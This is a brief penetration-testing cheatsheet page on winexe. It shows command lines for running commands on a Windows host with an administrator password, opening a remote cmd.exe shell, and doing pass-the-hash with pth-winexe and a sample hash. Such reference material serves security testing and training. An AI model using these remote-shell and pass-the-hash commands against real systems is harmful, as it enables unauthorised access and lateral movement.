Winexe

From Grayhat cheatsheets
Jump to navigationJump to search

Program used for, from linux, execute commands in a windows machine where we know the username d password: /winexe -U [Domain/]User%Password host_command

Examples: ./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “netstat -a”

./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “ipconfig -all”

./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “ping localhost”

The result of the command is given back in the output of winexe:

To get a shell: ./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “cmd.exe”

can be used for pass the hash: export SMBHASH=bcd3b4adb51404eeeca3b435be14aaee:6F403DEEEA024568CDCA94C1AD6561326 pth-winexe -U administrator% //192.168.1.100 cmd